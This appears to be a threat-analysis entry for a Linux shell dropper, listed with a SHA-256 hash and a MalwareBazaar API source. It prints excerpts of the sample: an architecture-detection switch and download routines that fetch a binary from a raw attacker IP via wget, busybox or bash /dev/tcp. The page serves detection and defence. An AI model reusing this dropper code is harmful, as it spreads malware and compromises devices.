Hostile ^100% linux Download

bd6639401fc329adb2d226b709b2d1ec96290e73f03d8c287f724d19b218ea63

Raw IP download and execute dropper

Raw IP download chmod local executeShell downloads, chmods, and executes a local file

SHA-256bd6639401fc329adb2d226b709b2d1ec96290e73f03d8c287f724d19b218ea63

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Raw IP download chmod local execute lines 1–48

1#!/bin/sh
2
3SERVER="103.77.246.150"
4BASE_URL="http://$SERVER/release"
5
6ARCH=$(uname -m | tr '[:upper:]' '[:lower:]')
7case "$ARCH" in
8    i*86)       BIN="x86_32" ;;
9    x86_64)     BIN="x86_64" ;;
10    amd64)      BIN="x86_64" ;;
11    armv7*)     BIN="arm7" ;;
12    armv6*)     BIN="arm6" ;;
13    armv5*)     BIN="arm5" ;;
14    arm*|aarch64) BIN="arm" ;;
15    mips)       BIN="mips" ;;
16    mipsel)     BIN="mpsl" ;;
17    ppc*)       BIN="ppc" ;;
18    ppc440)     BIN="ppc440" ;;
19    sh4)        BIN="sh4" ;;
20    m68k)       BIN="m68k" ;;
21    *)          BIN="x86" ;;
22esac
23
⋯6 lines
30[ -z "$TMP_DIR" ] && TMP_DIR="/tmp"
31
32cd "$TMP_DIR" || exit 1
33
34
35
36URL="$BASE_URL/$BIN"
37echo "[+] Detected arch: $ARCH -> downloading $BIN from $URL"
38
39
40download_file() {
41    # wget
42    if command -v wget >/dev/null 2>&1; then
43        wget -O "$BIN" "$URL" 2>/dev/null && return 0
44    fi
45    # busybox wget
46    if command -v busybox >/dev/null 2>&1; then
47        busybox wget -O "$BIN" "$URL" 2>/dev/null && return 0
48    fi

Bash fd redirect to /dev/tcp lines 68–74

7…   fi
  fi
 
  if [ -n "$BASH" ] || [ -n "$SHELL" ]; then
      (exec 3<>/dev/tcp/"$SERVER"/"$PORT") 2>/dev/null && {
          echo -e "GET /static/$BIN HTTP/1.0\n\n" >&3
          cat <&3 > "$BIN" 2>/dev/ …